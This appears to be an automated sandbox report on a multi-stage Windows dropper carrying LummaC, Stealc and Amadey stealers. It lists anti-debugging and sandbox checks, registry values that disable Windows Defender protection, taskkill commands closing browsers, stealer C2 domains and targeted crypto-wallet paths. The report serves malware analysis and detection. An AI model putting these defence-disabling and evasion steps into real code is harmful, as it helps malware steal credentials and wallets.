Source: efe6fe4127.exe, 0000000C.00000003.2874295059.00000000062E4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2921130845.00000000062E0000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2869175030.00000000062E4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2835595634.00000000062E4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2837176664.00000000062E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: zYXmAOlYkuN5JpKphnYFwV7y48/ITdP4M/PSOAzJ/HkaLJcsjdjnhQbDyaoUAa+FMRwoWhJBvMnzeLkMaVCYG1NaWHN/aSrkxVjgiuRb9tsS8Q4WhQcbkim7iMoyOZgJl5OYrQOnOTSVgGNwOB/E3uIC6RH4THKNpfamWGBHPLBt6Lhm3xM34g7ygXlCorNUKYPh8ZZ5braau967FwbeO5o1pHIsdubrKoaNNYEeMvcDymdblm2CC0Q5VXMkOQgYohlMadka/PhNe/MD3YKpEXhNQ4LhdYiADEA6OJjsMUXFJKIDUh4dyJpiEbehY8xIhAvThNKKRcv0Q3mFBaMYnhF4fO1h6ZMFsw1XStckRVu+LYDkoBAWriOp3mrhmjo9a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.0000000001578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmp, 99Q4Y3O9GBOXYTDVM9GPHI.exe, 00000004.00000002.2462253080.0000000000723000.00000040.00000001.01000000.00000009.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766477851.0000000000F11000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000B.00000002.2785411253.0000000000E73000.00000040.00000001.01000000.0000000C.sdmp, b76bb5cee7.exe, 0000001D.00000002.2962842335.0000000000F11000.00000040.00000001.01000000.0000000F.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000002.3009618076.00000000007B7000.00000040.00000001.01000000.00000017.sdmp, KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe, 00000020.00000002.2947907757.00000000006D3000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Code function: 3_2_0070F17E rdtsc

3_2_0070F17E

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Code function: 3_2_0059B7BA LdrInitializeThunk,

3_2_0059B7BA

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 5712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6456, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2128348066.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003039001\num.exe "C:\Users\user\AppData\Local\Temp\1003039001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: deecb7b612.exe, 0000000D.00000002.2855360804.0000000000592000.00000002.00000001.01000000.00000010.sdmp, deecb7b612.exe, 00000022.00000000.2920534582.0000000000592000.00000002.00000001.01000000.00000010.sdmp, random[1].exe1.5.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: b76bb5cee7.exe, 0000000A.00000002.2766477851.0000000000F11000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: &CProgram Manager
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe, 99Q4Y3O9GBOXYTDVM9GPHI.exe, 00000004.00000002.2462253080.0000000000723000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 0000000B.00000002.2785411253.0000000000E73000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: RProgram Manager
Source: YQEN9A9QU4P1VROBPV5YS.exe, YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: \Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003039001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003039001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2221874778.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221899920.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2713118781.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2713360207.0000000000B80000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2724741718.00000000056E4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2937290461.0000000001A75000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 32.2.KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.99Q4Y3O9GBOXYTDVM9GPHI.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2947624968.00000000004D1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2372324110.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2905323869.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2461719717.0000000000521000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2743978595.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2785010613.0000000000C71000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2475357445.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000022.00000003.2989652207.000000000114F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: deecb7b612.exe PID: 5856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: deecb7b612.exe PID: 6976, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 4916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 5280, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.0.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.b76bb5cee7.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.b76bb5cee7.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2721535335.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3018675741.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2766160676.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3018412209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.3003208783.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2961232929.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2875184699.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2862123172.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2875355609.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2854773209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2855075944.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.3003112537.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 5712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6456, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: efe6fe4127.exe, 00000009.00000003.2697127917.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: efe6fe4127.exe, 00000009.00000003.2697127917.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
